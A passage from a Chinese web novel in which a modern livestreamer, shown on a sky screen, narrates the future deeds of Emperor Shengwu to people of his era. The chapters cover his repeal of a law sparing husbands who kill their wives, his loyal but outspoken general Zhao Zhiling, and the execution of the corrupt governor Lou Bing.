时宝笙如今才5岁,她是此刻才从许三九的口中,得知夫杀妻竟然不用判处死刑。 她婴儿肥的小脸上写满了不服,忍不住朝姐姐时宝伽抱怨道: “凭什么夫杀妻就不用死刑呀,我看就是因为有这条狗屁法律的放纵,那个该死的混蛋才敢那样肆无忌惮!” 时宝伽当初在得知这条法律时,心中的想法也和妹妹时宝笙差不多,感到一阵深深的无力感。 第85章 直播9:石砸狗叫…… 天幕上,许三九望向镜头,说道: 【宝子们,“法律面前,人人平等”这个观念,今天早已成为了我们的共识,但在当时那个男尊女卑的封建社会时期,这却是不可能的事情】 【所以,按照当时的大盛律法,盛峰杀害时宝伽,他不用判处死刑,但时宝笙单是杀害盛峰一人,就必须得判处死刑了】 【而因着时宝笙杀害盛峰及其盛峰父母的罪证都很确凿,那京师府尹很快就想好了判决,打算将时宝笙判为秋后处斩】 【然而,正当他打算宣布自己的判决时,跪在堂下的时宝笙,却突然口中喷出一大口鲜血】 【这个意料之外的变故,瞬间惊得在场所有人都目瞪口呆】 【就在那府尹慌忙想让人去喊大夫来时,时宝笙却放声大笑了起来,并且让那府尹不要白费功夫了,她早就服下了毒药,即使是大罗神仙在世,也不可能救得了她】 【时宝笙的这个举措,自然是让那府尹心中气得不行,因为盛武帝和孟皇后当时可就站在府堂外看着他审讯】 【现在案子还没了结,时宝笙这个凶手却要死了,那自然就显得他这个府尹办事不力,连犯人都看管不住】 【而更让那府尹气得不行的,是时宝笙临死前的那番肺腑之言】 【时宝笙原本是跪在地上,但临死前,她却踉踉跄跄,努力从地上站起了身,她站着朝那府尹表示道,说她之所以服毒,就是因为她觉得以大盛这不公的法律,根本没资格审判她】 【那府尹本来还想要呵斥她放肆,但时宝笙在说完那句话后,就直接断气了,身体也直直往后倒,摔到了地上】 【这么一桩轰动全京师的大案,竟然以犯人服毒自杀这样的结局结束,这自然更是让大家议论纷纷】 【有人觉得时宝笙之所以会走到那一步,确实也是和大盛律法有关】 【假如大盛律法规定夫杀妻也需要判处死刑,那时宝笙在查到盛峰的作案证据后,很可能就是选择报官,由官府来按照律法对盛峰进行审判】 【但也有一些人不赞同时宝笙的话,说时宝笙简直就是妖言惑众,认为如果大盛律法有问题,那就不可能顺利施行那么多年】 【围绕时宝笙的行为及大盛律法的公正问题,京师及大盛各地一时间掀起了不少争论】 天幕下,孟府。 孟雪姝此刻正和三房和四房的那三个堂妹在一起。 自从二房被孟相断绝关系并赶出府后,孟家如今的气氛比从前和谐融洽了许多。 四房的孟雪兰从前和孟雪姝关系就还算过得去,所以此刻听到天幕上所说的话后,她不禁朝孟雪姝好奇问道: “大姐姐,你对这时宝笙的事情是什么看法呀?” 听到孟雪兰询问,三房的孟雪锦和孟雪绣姐妹俩,也瞬间目光探询地望向孟雪姝,显然也是想知道孟雪姝对此事的态度。 如果是从前,孟雪姝可能出于种种因素的考虑,不会直接当着这么多人的面表现出自己的态度来。 但如今,孟雪姝发现自己更加坦然和自在了。 于是,当着三位堂妹的面,她直接就说道:“那位‘时宝笙’说的也不算错,既然法律规定杀人要偿命,那凭什么夫杀妻就不用呢?” 孟雪兰和孟雪锦、孟雪绣她们三人听到孟雪姝这话,脸上也都不禁浮现出了认同之色。 虽然她们身为孟相的孙女,未来丈夫肯定没那胆子敢对她们动手,但即使如此,她们也依然觉得这条律法很是不合理。 即使那些讲述女训、女德的书籍,都在向她们传述着男尊女卑的思想,但人非草木,孰能无情?* 她们心中也依然有着自己的是非观和正义观。 在她们看来,真到了生死关头的时刻,自己的性命可一点都不比男子卑贱。 而孟雪姝在答完堂妹的问题后,则是目光重新回望向天幕上的许三九。 孟雪姝心中有种强烈的感觉,她相信凌戈绝对不会对这事放任不管。 不出所料,她很快就听到许三九在天幕上提及了凌戈。 【三九我前面就说过,那京师府尹审问时宝笙时,盛武帝和孟皇后其实都在现场,就站在门外的群众中间】 【所以,关于时宝笙行为引起的巨大争议,盛武帝其实一直都在全程关注】 【也就是在时宝笙死后的头七那天,盛武帝在上早朝时,便直接当众宣布说,要更改掉律法中那条关于夫杀妻无需死刑的这个规定】 【盛武帝明确表示,说以后即使是夫杀妻,也一律按照杀人罪来处理】 【当时朝堂上的很多大臣,都是多年来跟着盛武帝南征北战打天下的下属】 【大家都知道盛武帝的性情很是果断坚决,一旦决定了的事情,基本就不会改变】 【所以,在听到盛武帝要更改这条规定的事情后,朝堂上虽然还是有反对声音,但并不激烈】 【可当这件事从朝堂上传到民间,却是瞬间一石激起千层浪】 许三九说到这时,直接冷冷嗤笑了一声: 【相信宝子们应该都听说过“石砸狗叫”这个词吧,扔一块石头进狗窝里,叫得最响的那一只,绝对就是被砸到的那一只】 【说真的,可惜我没法穿越到盛武帝那个时期】 【不然的话,我一定强烈建议他,好好查一查那些反对这个更改的人,指不定能揪出不少隐藏的“盛峰”呢!】 【会反对“夫杀妻也按照杀人罪来处理”这件事的人,除了已经杀妻和潜在杀妻的人渣,我想不出有第三个可能性了】 天幕下,那些原本气得跳脚,想要出口反对这条规定的人,听到许三九的“石砸狗叫”理论后,一个个都急忙紧闭上了自己的嘴巴。 而有些说话嘴快的人,此刻则是神情一阵尴尬和窘迫。 他们注意到周围人望向自己的目光已经开始露出怀疑后,更是急得不行,都慌忙替自己开口辩解,说自己真的是合法良民,没有干过任何违法乱纪的事情。 不过,他们越是着急解释,就越是弄巧成拙,让人觉得他们是不是因为做贼心虚,所以才会反应那么激动。 天幕上,许三九这时嘴角不自觉地露出了笑容: 【当然,那些人渣就算再反对盛武帝这条新法规,也无济于事】 【而且,我严重怀疑盛武帝他是故意的,所以才会在推出这条新法规以后,还特意召集了全京师的戏班班主进宫,让他们针对时宝笙的事件各排一出戏剧来】 【虽然盛武帝打的名堂是普法宣传,但这些戏班排的新戏一经推出,却是立刻就受到了京师百姓的热烈欢迎,场场爆满,以至于一票难求】 【毕竟,这些新戏可是根据真人真事改编而成的戏剧,而且从开头到结局的每个情节都跌宕起伏、格外扣人心弦】 【因为戏文的内容本身就很吸引眼球,这些戏剧很快就从京师火到了大盛的大江南北】 【一些原本喜欢对妻子家暴的男人,在看到戏文里“盛峰”身亡命殒的结局后,都不由心有戚戚然,对妻子的态度也因此变得比从前好了不少】 天幕下,盛峰看到盛武帝竟然还让人把这些事情编成戏文,他瞬间是气得脸色一阵青一阵白,但又不敢真的出声表达不满,怕被人把状告到凌戈的面前去。 而此刻皇宫里,小蓝球系统则是笑个不停,连声朝凌戈夸赞,说他真是干得太漂亮了,就该让“盛峰”这样臭名远扬。 凌戈在听到小蓝球系统的话后,眉眼间也不禁浮现出了几分笑意。 同时,他在心中也打定了主意,等许三九这次天幕结束后,他就借着这次天幕的剧透,立刻顺势把那条狗屁不通的法律也给改了。 作者有话说: 【出处《水浒传》】 第86章 直播10:狡兔死,走狗…… 凌戈办事,不喜欢拖泥带水。 翌日早朝,他就当着朝堂众臣的面,直接宣布说,将“夫杀妻无需死刑”这条规定,改为按照正常杀人罪来处理。 朝堂上的文武百官之中,当然也有人不认同凌戈的这个更改。 但因着许三九昨天在天幕上说的“石砸狗叫”理论,那些心中持反对意见的人,也不敢在此刻跳出来,害怕自己会招致他人的怀疑,到时候跳进黄河里都洗不清。 虽然天幕在昨天便已经消失,但许三九在天幕上剧透的那些事情,热度却丝毫没有降下来。 所以,等到凌戈宣布散朝以后,朝堂上的消息,自然也就迅速传遍了整个京师。 时宝伽和时宝笙得知凌戈竟然这么快就更改了法律,姐妹俩瞬间更是一阵欣喜激动。 然而,更让她们没想到的,是宫里随后竟然还来了人,且来的还是盛昭帝的贴身太监魏平。 魏平代表盛昭帝,给时宝伽赏赐了一套清雅的文房四宝,说是女子求学本就不易,时宝伽能考上童生,属实是女子之中的典范。 魏平在离开时家之前,还特意朝时宝伽笑着道,说太上皇和圣上都期盼她能在科举之路上再接再厉。 时宝伽和时宝笙以及时家其他人,听到魏平这话后,顷刻间更是心潮澎湃,心情久久无法平静。 虽然因为天幕昨天的剧透,时宝伽得以提前看清楚盛峰这畜生的真面目,但她心中其实也在暗暗担心,会不会因为天幕的影响,自己的仕途从此就只能止步于童生这一阶段了。 但现在,有了盛昭帝和圣上刚才那表态,她之后只要专心备考就好,再也无需顾虑那么多了。 盛峰那边,在得知时宝伽竟然获得了盛昭帝赏赐的文房四宝后,他和他爹娘瞬间更是在家中气得简直要炸掉了。 他昨天在回到家中后,宗室那边很快就派来了一个长辈,将他和他爹娘训了一个狗血淋头,骂他们家丢了皇家的颜面。 那宗室长辈还冷着脸,对他们警告了一番,说是如果他们家再闹出这样的丑闻来,就别怪宗室主动朝圣上提议,要求开除掉他们的族籍。 盛峰本来还心存侥幸,想着这事再过一阵子,热度应该就能降下去了。 可他刚才宿醉刚醒过来,就先听说了凌戈在早朝时下令更改律法的消息,随后就又是时宝伽得到赏赐的事情。 这接连两个打击,都让盛峰觉得此刻外面人肯定都在拿他当笑话看。 于是,接下来的很长一段时间里,盛峰都没再踏出过他家府门一步。 而那些原本和盛峰有来往的人家,则是一个个都急忙撇清自家和盛峰的关系,生怕自家名声会受到盛峰的牵连。 直到时间进入三月,距离春闱越来越近,外界这才逐渐将焦点和注意力转移到这次的春闱上。 不过,就在春闱的前一天,天幕和许三九的身影就又重新出现在了半空中。 许三九朝镜头打了个招呼后,便开门见山地说道: 【这一期,三九想和大家探讨的,是关于“飞鸟尽,良弓藏,狡兔死,走狗烹”这句话】* 【历朝历代,君王在政权初建时期,都能够和自己的开国功臣们做到君臣相得】 【但等到政权稳定以后,很多开国皇帝,就会因为各种原因,开始对自己昔日的功臣们产生猜忌的想法,最后甚至可能演变成一场场朝堂上的大清洗】 天幕下,温容见母亲担心地望向自己,他脸上露出无奈的笑容: “娘,你难道忘记了,三九姑娘之前可是说过,我的后事还是圣上为我操持的呢。” 温母听到温容提醒,脸上顿时露出不好意思的笑容:“娘真是老了,记性也不好了。你这么一说,娘才回想了起来。” 温容在此次进京赶考时,将母亲也一起带到了京师。 他和温母此刻正身处京师一处客栈的小院中。 温母在确定儿子的安全无虞后,便一脸心安地望向天幕上的许三九。 而东北边疆,宁勒城里,赵禹此刻则是神情有些紧绷。 赵之翎注意到自家老爹神色凝重的模样后,反而笑了起来,朝赵禹说道:“爹,你就别担心了,我相信圣上他肯定不是那种会卸磨杀驴的人!” 赵之翎的话音刚落,院中就响起了另一道反驳他的声音: “赵之翎,我看赵伯父的担忧不无道理,毕竟小心驶得万年船,你最好还是别太大意了。” 赵禹闻言,瞬间赞同地点了点头:“还是薄昌说得有道理,赵之翎,你学着点薄昌的谨慎。” 听到赵禹又替薄昌这个讨厌鬼说话,赵之翎忍不住气得瞪了薄昌一眼。 薄昌是赵禹的至交薄磊的独子,赵禹从前和薄磊在一处地方任职,两家当了近十年的邻居。 薄昌的性子,打小就是是出了名的稳重和谨慎。 赵禹从前和薄家住隔壁时,没少让赵之翎向薄昌这个同龄人学学。 因此,赵之翎对薄昌这个邻居家的孩子,从小就觉得烦,看他这个“好孩子”很是不顺眼。 等到赵禹调职到宁勒城这边后,赵之翎还高兴地不行,觉得这下可算再也不用见到薄昌这个烦人精了。 没成想,赵禹到了宁勒城后,也没和薄家断了联系,还是会时常和薄磊进行通信。 而对赵禹和薄磊他们这样的中年男人而言,写信时,自然不可避免会在信中提到自家的孩子。 所以,赵禹每次和薄磊通完信后,他了解到薄昌的近况,再看赵之翎这个自家儿子,他就不由有一种恨铁不成钢的感觉。 而赵之翎对此,也是在心中直呼倒霉。 他没想到自己都和薄昌分隔两地了,竟然还是逃不开薄昌这个人的影响。 等到前阵子薄昌也同样被朝廷调到宁勒城,赵之翎看到薄昌那么大一人出现在自己面前,他更是瞬间一阵头大,感觉自己的苦日子又要回来了。 赵禹注意到赵之翎刚才瞪薄昌的动作后,直接就也用力瞪了他一眼,并且还朝他说道: “你这小子再敢瞪薄昌试试?你以为就你眼睛大是吧?薄昌刚才说那话,也是一片好心,人家要不是盼着你好,何必浪费口舌和你说这些话?!” 赵之翎心中当然也知道薄昌的提醒其实出于善意,但听到自家老爹又帮着薄昌说话,他顿时就又很想顶一下嘴。 不过,还没等他开口,众人就听到许三九在天幕上说道: 【盛武帝虽说继承了大盛的国号,但大家都知道,整个天下其实是他带着人打下来的】 【所以,在盛武帝登基以后,跟着他打天下的下属们,自然是一个个也都加官进爵】 【而在这其中,有个半道上才加入盛武帝阵营的将帅,就一直很担心,担心盛武帝会干出过河拆桥的事情来】 【毕竟,古往今来,共患难易,同富贵难】 【所以,出于心中的这个担忧,这位名叫薄昌的将帅,就一直处处小心谨慎,生怕自己哪里行事不妥当,使得盛武帝感觉不痛快】 【而他除了自己谨小慎微外,还特意在私下也给赵之翎将军多次提醒,让赵之翎将军不要因为自己和盛武帝关系亲近,就忘了盛武帝手握天下人的生杀大权这事】 【然而,对于他的提醒,赵之翎将军却是置若罔闻,甚至还直接说他是想多了,不了解盛武帝,所以才会有那样的杞人之忧】 天幕下,听到自己被许三九在天幕上点名,薄昌倒是脸色依然不变,觉得若是凌戈想要因此记恨他的话,那他也只能坦然接受了。 而赵禹这个时候,望着薄昌的眼眸中,则是不由流露出了几分担忧。 就连赵之翎此刻脸上的神情,也都变得有点尴尬,感觉好像是自己牵连到了薄昌。 【若是一般人,即使不相信薄昌的话,在听到了薄昌的提醒后,肯定也会下意识收敛下自己的行为举止】 【然而,咱们的赵之翎将军,他向来是不走寻常路的猛人】 【所以,在薄昌找完他的第二天,他在进宫去和咱们盛武帝男神一起垂钓时,见咱们盛武帝男神坐在湖边钓了一上午,但却都没钓上一尾鱼,他不仅没帮着盛武帝圆场,甚至反而是当场哈哈大笑了起来】 【更让人出乎意料的是,他还朝盛武帝幸灾乐祸,问盛武帝说用不用自己分几条鱼给他,免得盛武帝忙活了一上午,最后就只提着个空桶回宫见孟皇后】 【而咱们盛武帝男神,面对他这样的询问,竟然也真的笑着接受了,直接从他那里倒了半桶鱼到自己的桶里边】 天幕下,赵禹此刻怒目瞪向赵之翎,一副随时要火山爆发的模样。 而赵之翎看到他这反应,急忙就开口替自己喊道:“爹,你先别急着发火,你看盛武帝他也没生气啊!” “君心难测。” 听到薄昌语气幽幽,说出上面那四个字,赵之翎反应很是机敏,他瞬间侧身一躲,灵活地闪过了他爹踢过来的右脚。 作者有话说: 【出处《《文子?上德》》】 第87章 直播10:就算是宗室,…… 天幕上,许三九望向镜头,嘴角带笑地说道: 【赵之翎将军和薄昌将军,俩人从小就相识,关系用“发小”这个词来形容,也还算贴切】 【但是,俩人在性格上的差异,简直就是大到天壤之别】 【从三九我前面的介绍,宝子们肯定都看得出,薄昌将军是个做事小心翼翼,生怕一步踏错,就会万劫不复的谨慎性格】 【而赵之翎将军,他身上则是有一种天不怕地不怕的虎劲儿】 【所以,面对薄昌将军的多次提醒,赵之翎将军从来都不放在心上,说话基本都是想到啥就说啥】 【除了敢在钓鱼时嘲笑盛武帝空军外,他之后做的另外一件事,更是让三九我都忍不住感到咋舌,觉得他真是太大胆了】 【三九我之前介绍海青瑾时,曾经提过一嘴,说海青瑾带着大盛海军直捣黄龙,杀到了倭岛上,将倭寇赶尽杀绝。而赵之翎将军当时其实也特别想掺和这事一脚,但奈何盛武帝不点他的名,所以他只好老实待在京师中】 【正巧那个时候,有人邀请他参加聚会,他觉得自己反正也没事干,就出席了那酒席】 【酒席上一番觥筹交错过后,有人就提起了海青瑾正在倭岛上打战的事情,而赵之翎将军听到这事,就醉醺醺地朝在场的众人抱怨道,说盛武帝重视海青瑾多过重视他,明明他也朝盛武帝毛遂自荐了,甚至还表示给海青瑾当副将也行,结果盛武帝还是拒绝了他的请战】 【赵之翎将军本来只是随口抱怨了几句,但他说出的那些话,却在第二天出现在了御史的弹劾奏折上】 【有个御史在早朝时,突然就站出来,朝盛武帝表示说自己要弹劾赵之翎将军居功自傲,对圣上有不敬之心】 天幕下,脾气火爆的赵禹,此刻已经抬手拧住了赵之翎这个儿子的耳朵,在赵之翎耳边怒吼道: “你这个兔崽子,你到底什么时候才能管住你那张碎嘴?” “哎哟,爹,你轻点力,这可是你儿子的耳朵!你要是把它给揪下来了,那你以后可就是多了个聋人儿子了!” “哼!聋了才好呢,省得这一天天把我给吓得心脏七上八跳!” 赵禹嘴巴上的话说得很硬,但在说完以后,却还是松开了自己拧着赵之翎耳朵的手。 而赵之翎一见自己耳朵终于得到了解放,急忙就躲到了薄昌的身边,拿薄昌当自己的第一道防线。 薄昌瞥了他一眼,忍不住说道:“我看你就是活该,你要是肯听我的,你哪来那么多麻烦事?!” 薄昌虽然和赵之翎同岁,但因着赵之翎性情比较跳脱,所以在薄昌心中,他其实是将赵之翎当作弟弟来看待。 眼下从天幕上的许三九那听到赵之翎被人弹劾居功自傲,薄昌就忍不住替赵之翎感到担忧。 而赵之翎此刻心中其实也是有点小后悔,觉得自己确实是嘴巴有点没把门,不然也不至于中了别人的套,被弹劾到盛武帝的面前去。 赵之翎等人都眼神专注地望向天幕上的许三九,想知道盛武帝会如何处理御史弹劾赵之翎这件事。 【赵之翎将军在那个时候,已经是战功赫赫,所以在这种时期,突然有御史跳出来弹劾他,这件事情自然会让朝中不少人在心中嘀咕,寻思这御史会不会是受盛武帝私下指示】 【所以,当赵之翎将军被弹劾时,朝中众臣一时间都没人出来帮他说话,大家都想看看盛武帝对这事会是什么反应】 【然而,盛武帝却是当场就朝那御史表态,让那御史不要太过上纲上线,因为赵之翎早就当着他的面,抱怨过类似的话语了】 【因为盛武帝说这话时,表情太过淡定,朝臣便都信了他的话】 【等到早朝散后,盛武帝出声让赵之翎留了下来,然后就把他狠狠训了个狗血淋头,骂他口无遮拦、说话不过脑子,竟然被人拿到这样的把柄】 【赵之翎被咱们盛武帝男神痛骂了一顿,反倒是心情特别开心,因为他知道这是盛武帝相信自己的表现】 【如果盛武帝不是还把他当作朋友,那也不可能会对他摆出这样的态度来,更不会在朝堂上还帮着他打掩护】 【而赵之翎将军在宫中被盛武帝训了一顿后,回到自己家中,又被早已经等候在他府里的薄昌将军也给臭骂了一顿】 【薄昌将军在从赵之翎将军那里得知他在宫里受到盛武帝痛骂的事情后,本来悬着的心,也跟着松了一大口气】 【他告诉赵之翎将军,说如果换做其他皇帝碰到今天这事,指不定就已经顺势把他的官职给撸没了,正好解了他的兵权,他还没法喊一个冤字,因为他纯属是咎由自取】 【薄昌将军让赵之翎将军往后说话做事都注意些,最好是三思再三思】 【然而,如果能克制得住自己冲动的性格,那就不是赵之翎将军了】 天幕下,赵禹此刻都已经被赵之翎给气到懒得多看他一眼了。 他刚才听到盛武帝帮忙护着赵之翎,正想长舒一口气,可再听到许三九后面那话,心中顿时就明白赵之翎还是他那个永远消停不了的小儿子。 皇宫里,凌戈此刻正和盛昭帝坐在御花园里。 盛昭帝听到许三九的话后,忍不住笑了起来,朝凌戈说道:“我看那赵禹,这会儿指不定又跟炮仗一样炸起来了。” 盛昭帝在许三九先前介绍完赵之翎那次直播后,便让人去查了下赵之翎的信息,从而也就得知了赵禹在部队中那个“赵炮仗”的绰号。 凌戈当然也听出了盛昭帝在调侃什么,他嘴角微微上扬,说道:“赵禹将军就算这会变成炮仗,也是出于一个父亲关心儿子的朴素情感。” 盛昭帝从前膝下无子时,对这种涉及父子的话题,都只觉得无感甚至是厌烦。 但如今,有了凌戈这么一个儿子后,他对这种话题,就变得比较平常心了,甚至还在心中暗喜,还好自己儿子比赵禹的儿子靠谱多了,都不用他这个父亲来操心什么。 盛昭帝望向天幕,抱着一种看热闹不嫌事大的心情,想看看赵之翎后面又做出了什么让人意想不到的事情。 【就在赵之翎将军被御史弹劾过后,没一个月的时间,他又被人在朝堂上公然告了一状】 【这一次,告他状的人不是御史了,而是好几个皇室勋贵】 【那几个勋贵弹劾赵之翎将军目无皇家,竟敢在大街上当众殴打皇家宗亲】 天幕下,赵之翎忍不住倒吸了一口气,脱口而出道:“我滴个娘呀,我以后竟然这么勇的……” 在赵禹和薄昌的怒目瞪视下,赵之翎默默把自己已经到嘴边的“吗”字,重新又吞咽回了肚中。 【那几个勋贵显然对赵之翎将军殴打自家孩子的事情很是恼火】 【他们在朝堂上对着盛武帝各种抨击赵之翎将军,还跟盛武帝哭诉,说赵之翎将军格外嚣张跋扈,竟然明目张胆地宣称说,就算是宗室,他也不怵,照打不误】 【这几个宗亲针对赵之翎的哭诉,自然是迅速在朝堂上引起了剧烈的反响】 【然而,盛武帝却并没有对他们的一面之词偏听偏信,反而是朝赵之翎将军询问,让他解释自己殴打宗亲的原因】 【而赵之翎将军一开口,便是朝盛武帝说他不认为自己有错,他觉得那几个宗室就是活该挨打】 【若是一般的皇帝,看到赵之翎将军打宗室还这么理直气壮,就算知道那几个宗室有错在先,也难免会对赵之翎将军心生不满,觉得赵之翎将军实在是不给皇家面子,毕竟打狗还得看主人呢,更何况宗室和皇帝可是先天就存在血缘关系】 【然而,盛武帝认识赵之翎将军那么多年,他早就知道赵之翎将军是什么狗脾气】 【所以,盛武帝直接让赵之翎将军少说废话,单纯解释他为什么要当街打那几个宗亲就行】 【要不说,还是盛武帝能治得了气头上的赵之翎将军。赵之翎将军被盛武帝怼了一下后,瞬间就规矩了起来,老老实实朝盛武帝解释说自己打人的前因后果】 【原来,赵之翎将军之所以打人,并不是他单纯想耍横,而是那几个宗亲行事太过放肆,竟然当街就想强抢民女回家】 【若是其他人碰到这事,可能会顾忌着他们宗室的身份,所以不敢出手阻止】 【但是,赵之翎将军他孤家寡人一个,一生最大的追求就是像父兄一样战死沙场。他一个连死都不怕的人,又不贪图什么功名利禄,自然也就不可能对那些宗室有什么忌惮】 【本来,赵之翎将军还只是想阻止这事就算了,没打算动手打人】 【但奈何那几个宗亲说话实在是龌龊至极,甚至还侮辱了赵之翎将军为守城而死的父兄,所以赵之翎将军没有半点犹豫,直接就将他们一个个都打到鼻青脸肿,哭着喊着说自己错了】 【盛武帝在得知了事情的全貌以后,他不仅没有责罚赵之翎将军,反而是直接将那几个强抢民女的宗室给开除出了皇室,让他们从此以后和普通百姓没有两样,再也没资格摆宗亲的谱!】 天幕下,一众宗室听到这里时,都急忙叮嘱自家男人或者是儿子,让他们以后千万不能在外面对老百姓耍横,免得事情被人捅到凌戈面前去,那他们可真就是吃不了得兜着走了。 在宗室们看来,凌戈这个现任皇帝,可比盛昭帝严格许多了。 盛昭帝对他们这些宗室,态度还是比较宽容的,很多事情都愿意睁一只眼闭一只眼,但凌戈对他们,可就没那么大的忍耐心了。 而宁勒城这边,赵之翎这会子又理直气壮地挺直了腰杆子,眼睛还朝他爹赵禹那边一瞥又一瞥。 赵禹斜睨了他一眼,“怎么,你眼睛抽筋了?” “爹,你是不是耳朵不好?”赵之翎望向赵禹,“你没听到三九姑娘刚才在天幕上说的话吗?” “行了行了,知道你是做好事行了吧?!” 赵禹嘴上虽然听着好像是对赵之翎不耐烦,但实际此刻心中却是为赵之翎感到很是自豪。 “不畏权贵”这四个字听起来好像很简单,但实际上,这世上真正能够做到的人,却是寥寥无几。 而且,能够遇到盛武帝这样明辨是非的圣明君王,赵禹也替儿子感到庆幸和高兴。 第88章 直播10:木秀于林,风…… 天幕下,许三九看向镜头,说道: 【虽然这两次弹劾,赵之翎将军都是有惊无险,平安无事,但在薄昌将军看来,赵之翎将军还是应该努力把自己的风头降一些,不要那么惹人注意】 【毕竟,木秀于林,风必摧之;行高于人,众必非之】* 【薄昌将军认为,赵之翎将军在军中本就威望颇高,所以在盛武帝登基以后,他更是应该低调行事才对,可偏偏他牵扯出的事情,是一桩还比一桩大】 【薄昌将军担心赵之翎将军作为赵家最后的一根独苗苗,会因为功高震主,而招致盛武帝的忌惮】 【所以,见赵之翎将军怎么都不把自己的话听进耳中,他甚至还气得和赵之翎将军大吵了一架,骂赵之翎将军是四肢发达、头脑空空的蠢货】 天幕下,赵之翎斜睨了薄昌一眼,很是不服气得说道:“我怎么就头脑空……” “你闭嘴!别吵吵!”赵之翎话还没说完,他爹赵禹就直接打断了他的话。 见赵之翎脸上一副憋屈模样,薄昌眼眸中不由闪过了一抹笑意,觉得很是解气。 他都能想到,原来历史中的那个自己,面对赵之翎这个怎么说都不听的臭石头,心中得憋了多少气。 【薄昌将军当时还气得朝赵之翎将军放话,说他哪天要是跌了跟头,自己绝对不会多管闲事】 【然而,薄昌将军这狠话刚放出没半个月,盛武帝就骤然在堂上就掀起了一波滔天巨浪,之后甚至一次性斩杀了数十个官员】 【他的这一次反贪清洗,在如今的互联网上,也经常被各种营销号解读为是以“反贪”为借口进行政治斗争】 【而这些营销号的最大依据,通常也都是娄秉他临行刑前喊出的那一句“狡兔死,走狗烹”】 天幕下,西北边关。 霍英和霍青川父子俩原本还神色轻松,但在听到许三九提起“娄秉”这个名字后,俩人神情瞬间就都严肃了起来。 而站在他们身前不远处的娄秉,此刻则是脸上写满了错愕,显然根本没想到自己竟然会因为这样的原因被许三九在天幕上提及。 他的亲哥娄霖,这时望着他的眼神里,也是充满了惊诧与震惊。 娄霖还记得许三九刚才说,凌戈是以“反贪”这个理由,对娄秉判处了死刑。 娄霖很想说,这里面会不会是有什么误会。 但他又隐隐感觉,以凌戈的性格,凌戈应该不至于干出冤枉娄秉的事情来。 就在众人此刻心中都惊骇不已时,大家就听到许三九在天幕上介绍道: 【娄秉早在西北边关时,便已经和盛武帝他相识,不过在那个时候,娄秉和盛武帝的关系只能算是熟络,还不能称得上有多么亲近】 【真正和盛武帝关系匪浅的,是娄秉他的亲哥,也就是娄霖】 【但是娄霖在盛武帝揭竿而起的第三年时,在一场大战中,他为了救盛武帝,以身挡下了一支射向盛武帝的暗箭,自己却因伤而亡】 【娄霖在临死前,朝盛武帝拜托道,说他最放心不下的,就是弟弟娄秉,他请求盛武帝帮他照顾好自己的弟弟】 【盛武帝当时自然是没有丝毫犹豫,就应下了他这个请求】 天幕下,娄秉听到自己哥哥是为了凌戈才英年早逝,心中不禁对凌戈产生了一阵强烈的怨愤。 他觉得凌戈实在是言而无信,明明答应了他哥的临终嘱咐,但最后却还是对他痛下杀手。 不过,娄秉也不是傻子,他知道此刻站在他面前的霍英和霍青川父子都和凌戈关系很是要好。 再加上,凌戈如今又已经坐稳了皇位,所以娄秉即使心中对凌戈有怨言,此刻面上也没有表露出半点真实情绪来。 天幕上,许三九望向镜头,道: 【相信了解盛武帝的宝子应该都知道,盛武帝他是一个很重情义的人】 【所以在娄霖死后,盛武帝确实努力在各方面都照顾到娄秉】 【而娄秉本身在打战方面,也确实是骁勇善战,因此等盛武帝入主京师后,盛武帝在封赏各个功臣时,就对娄秉特意进行了重赏,后面还将娄秉安排到经济富庶繁荣的湖广地区当总督】 【娄秉一开始担任湖广总督时,对于军务、粮饷及漕运等事务,都还算是兢兢业业、勤勤恳恳,生怕自己辜负了盛武帝的重用】 【然而,权力迷人眼,随着时间的流逝,娄秉慢慢被酒色和金钱给腐蚀了灵魂,开始日日沉迷于花天酒地的享乐之中】 【吃人嘴软,拿人手短,娄秉既然从那些商贾和下属手中拿到了好处,那自然也就得帮别人把事情办好】 【于是,在娄秉的影响下,湖广地区的官场风气自然是每况日下,污浊不堪】 【而真正导致娄秉走上死路的关键事件,就是晏安十年,湖广地区发生的那一场旱灾】 【当时,旱灾刚爆发时,盛武帝一得知消息,就立刻下令调运粮食赈灾,并且宣布减免湖广地区的农田赋税】 【然而,饥荒却并没有得到扼制,反而是愈演愈烈】 【盛武帝感觉这背后的事情有蹊跷,便一边派人继续调粮赈灾,另一边则是暗中让人到湖广地区深入调查】 【结果这一查,盛武帝就发现娄秉竟然丧心病狂到连灾民的救命粮都要贪污克扣,同时还勾结粮商囤积居奇,放任粮价高涨不下】 【湖广地区的许多灾民被饿到不得不贱价卖田,或者是卖儿鬻女来筹集家中的买粮钱】 【盛武帝得知娄秉在湖广地区的所作所为后,自然是怒不可遏,当即就命人立刻去将娄秉羁押进京,同时还派钦差去湖广地区彻查此事】 【娄秉在被关进京师的天牢后,他一开始还死鸭子嘴硬,不肯主动坦白出自己的罪行,一口一个说自己是冤枉的,但当盛武帝让人把他在湖广地区贪赃枉法、鱼肉百姓的铁证都摆出来后,娄秉瞬间就再也没法继续装傻下去了】 【他态度瞬间发生一百八十度转变,哭着喊着求盛武帝给他一个机会,甚至还把他死去多年的亲哥娄霖给搬了出来,想拿娄霖救过盛武帝一命的事情,来给自己换一个活命的机会】 天幕下,娄霖早在刚才听到许三九介绍说娄秉在湖广地区贪污枉法、甚至泯灭人性到克扣灾民的救济粮时,他就已经是面色一片铁青。 现在听到许三九说娄秉还拿自己的救命之恩去要挟凌戈,他忍不住就“啪”一下给了娄秉一个大耳光子,其力道之大,直接就把娄秉给扇得嘴角开裂,冒出了血珠来。 霍英和霍青川父子俩,看到娄秉被娄霖扇了一下耳光,他们连眼皮子都没带眨一下。 如今,他们连看都不想多看娄秉这个人渣一眼。 娄霖看到霍英和霍青川这反应,顿时就明白了他们的态度,他忍不住在心中叹了一口气,对娄秉这个弟弟是又失望又无奈。 他望向娄秉,直接说道:“你直接辞了官职,回家去娘跟前尽孝吧。” 娄秉心中也知道,出了今天这事,自己往后哪有什么前途可言。 所以,即使心中对娄霖这话感到很是愤懑,他也不敢出声反对,而是低低地“嗯”了一声。 天幕上,许三九这时在继续说道: 【如果换成其他帝王,在娄秉搬出他哥娄霖后,说不定真会看在娄霖的救命之恩份上,真的就对娄秉高抬一手】 【然而,盛武帝并不是会在意他人看法的性子,所以,即使娄秉是自己救命恩人的亲弟,他也依然宣布要依律将娄秉给判处死刑】 【我之前在网上看到有一些人,竟然对娄秉觉得很是同情,认为盛武帝这个行为实在是太绝情绝义了】 【我当时真的很想问下那些人,他们能同情娄秉,怎么就不能去同情那些因为饥荒而饿死的贫苦老百姓呢?】 【这些人应该不会是觉得自己如果生在古代,就会是像娄秉那样高高在上的官员了吧?】 